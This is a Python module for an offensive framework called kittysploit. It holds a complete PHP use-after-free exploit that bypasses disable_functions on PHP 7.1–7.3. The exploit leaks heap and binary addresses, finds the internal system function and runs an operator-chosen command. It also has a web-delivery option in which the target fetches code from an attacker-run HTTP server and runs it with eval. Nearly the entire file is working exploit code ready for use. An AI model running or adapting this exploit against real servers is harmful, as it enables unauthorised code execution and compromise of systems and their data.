PHP 7.1-7.3 disable_functions bypass

from kittysploit import *
from lib.protocols.http.http_server import Http_server as HTTPServer

class Module(Post, HTTPServer):

	__info__ = {
		"name": "PHP 7.1-7.3 disable_functions bypass",
		"description": "PHP 7.1-7.3 json disable_functions bypass",
		"arch": Arch.PHP,
		"targets": [ 
			"7.1 - all versions",
			"7.2 < 7.2.19",
			"7.3 < 7.3.6"
		],
	'agent': {
	    'risk': 'intrusive',
	    'effects': ['active_exploitation'],
	    'expected_requests': 2,
	    'reversible': False,
	    'approval_required': True,
	    'produces': ['risk_signals'],
	    'cost': 1.5,
	    'noise': 0.5,
	    'value': 1.0,
	    'requires': 	    {'min_endpoints': 0,
	     'min_params': 0,
	     'tech_hints_any': [],
	     'tech_hints_all': [],
	     'specializations_any': [],
	     'risk_signals_any': [],
	     'auth_session': False,
	     'capabilities_any': ['rce', 'shell', 'file_read'],
	     'capabilities_all': [],
	     'confidence_min': {},
	     'confidence_min_any': {},
	     'endpoint_pattern_any': [],
	     'param_any': [],
	     'api_surface_ready': False},
	    'chain': 	    {'produces_capabilities': [],
	     'consumes_capabilities': ['shell'],
	     'option_bindings': {},
	     'suggested_followups': []},
	},
	}
	
	command = OptString("uname -a", "command system to send", True)
	start_web_delivery = OptBool(False, "start web delivery", True)
	
	def check(self):
		"""Check if target is vulnerable"""
		return True
		
	def run(self):
		# Use raw f-string to preserve PHP braces while allowing command substitution
		data = rf"""
$cmd = "COMMAND_PLACEHOLDER";

$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {{
    public static $leak;
}}

class Z implements JsonSerializable {{
    public function write(&$str, $p, $v, $n = 8) {{
      $i = 0;
      for($i = 0; $i < $n; $i++) {{
        $str[$p + $i] = chr($v & 0xff);
        $v >>= 8;
      }}
    }}

    public function str2ptr(&$str, $p = 0, $s = 8) {{
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {{
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }}
        return $address;
    }}

    public function ptr2str($ptr, $m = 8) {{
        $out = "";
        for ($i=0; $i < $m; $i++) {{
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }}
        return $out;
    }}

    # unable to leak ro segments
    public function leak1($addr) {{
        global $spl1;

        $this->write($this->abc, 8, $addr - 0x10);
        return strlen(get_class($spl1));
    }}

    # the real deal
    public function leak2($addr, $p = 0, $s = 8) {{
        global $spl1, $fake_tbl_off;

        # fake reference zval
        $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
        $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

        $leak = strlen($spl1::$leak);
        if($s != 8) {{ $leak %= 2 << ($s * 8) - 1; }}

        return $leak;
    }}

    public function parse_elf($base) {{
        $e_type = $this->leak2($base, 0x10, 2);

        $e_phoff = $this->leak2($base, 0x20);
        $e_phentsize = $this->leak2($base, 0x36, 2);
        $e_phnum = $this->leak2($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {{
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = $this->leak2($header, 0, 4);
            $p_flags = $this->leak2($header, 4, 4);
            $p_vaddr = $this->leak2($header, 0x10);
            $p_memsz = $this->leak2($header, 0x28);

            if($p_type == 1 && $p_flags == 6) {{ # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            }} else if($p_type == 1 && $p_flags == 5) {{ # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }}
        }}

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }}

    public function get_basic_funcs($base, $elf) {{
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {{
            $leak = $this->leak2($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {{
                $deref = $this->leak2($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            }} else continue;

            $leak = $this->leak2($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {{
                $deref = $this->leak2($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            }} else continue;

            return $data_addr + $i * 8;
        }}
    }}

    public function get_binary_base($binary_leak) {{
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {{
            $addr = $start - 0x1000 * $i;
            $leak = $this->leak2($addr, 0, 7);
            if($leak == 0x10102464c457f) {{ # ELF header
                return $addr;
            }}
        }}
    }}

    public function get_system($basic_funcs) {{
        $addr = $basic_funcs;
        do {{
            $f_entry = $this->leak2($addr);
            $f_name = $this->leak2($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {{ # system
                return $this->leak2($addr + 8);
            }}
            $addr += 0x20;
        }} while($f_entry != 0);
        return false;
    }}

    public function jsonSerialize() {{
        global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = new DateInterval('PT1S');

        $room = [];
        for($i = 0; $i < $n_alloc; $i++)
            $room[] = new Z();

        $_protector = $this->ptr2str(0, 78);

        $this->abc = $this->ptr2str(0, 79);
        $p = new DateInterval('PT1S');

        unset($y[0]);
        unset($p);

        $protector = ".$_protector";

        $x = new DateInterval('PT1S');
        $x->d = 0x2000;
        $x->h = 0xdeadbeef;
        # $this->abc is now of size 0x2000

        if($this->str2ptr($this->abc) != 0xdeadbeef) {{
            die('UAF failed.');
        }}

        $spl1 = new MySplFixedArray();
        $spl2 = new MySplFixedArray();

        # some leaks
        $class_entry = $this->str2ptr($this->abc, 0x120);
        $handlers = $this->str2ptr($this->abc, 0x128);
        $php_heap = $this->str2ptr($this->abc, 0x1a8);
        $abc_addr = $php_heap - 0x218;

        # create a fake class_entry
        $fake_obj = $abc_addr;
        $this->write($this->abc, 0, 2); # type
        $this->write($this->abc, 0x120, $abc_addr); # fake class_entry

        # copy some of class_entry definition
        for($i = 0; $i < 16; $i++) {{
            $this->write($this->abc, 0x10 + $i * 8, 
                $this->leak1($class_entry + 0x10 + $i * 8));
        }}

        # fake static members table
        $fake_tbl_off = 0x70 * 4 - 16;
        $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
        $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

        # fake zval_reference
        $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

        # look for binary base
        $binary_leak = $this->leak2($handlers + 0x10);
        if(!($base = $this->get_binary_base($binary_leak))) {{
            die("Couldn't determine binary base address");
        }}

        # parse elf header
        if(!($elf = $this->parse_elf($base))) {{
            die("Couldn't parse ELF");
        }}

        # get basic_functions address
        if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {{
            die("Couldn't get basic_functions address");
        }}

        # find system entry
        if(!($zif_system = $this->get_system($basic_funcs))) {{
            die("Couldn't get zif_system address");
        }}
        
        # copy hashtable offsetGet bucket
        $fake_bkt_off = 0x70 * 5 - 16;

        $function_data = $this->str2ptr($this->abc, 0x50);
        for($i = 0; $i < 4; $i++) {{
            $this->write($this->abc, $fake_bkt_off + $i * 8, 
                $this->leak2($function_data + 0x40 * 4, $i * 8));
        }}

        # create a fake bucket
        $fake_bkt_addr = $abc_addr + $fake_bkt_off;
        $this->write($this->abc, 0x50, $fake_bkt_addr);
        for($i = 0; $i < 3; $i++) {{
            $this->write($this->abc, 0x58 + $i * 4, 1, 4);
        }}

        # copy bucket zval
        $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
        for($i = 0; $i < 12; $i++) {{
            $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8, 
                $this->leak2($function_zval, $i * 8));
        }}

        # pwn
        $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
        $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

        $spl1->offsetGet($cmd);

        exit();
    }}
}}

$y = [new Z()];
json_encode([&$y]);
		"""
		# Replace command placeholder with actual command
		command_escaped = self.command.replace('"', '\\"')
		data = data.replace("COMMAND_PLACEHOLDER", command_escaped)
		
		if self.start_web_delivery:
			host, port, httpd = self.web_delivery(data)
			print_info(self.cmd_execute(f"$a=file_get_contents('http://{host}:{port}');eval($a);"))
			self.web_shutdown(httpd)
		else:
			print_info(self.cmd_execute(data))
		return True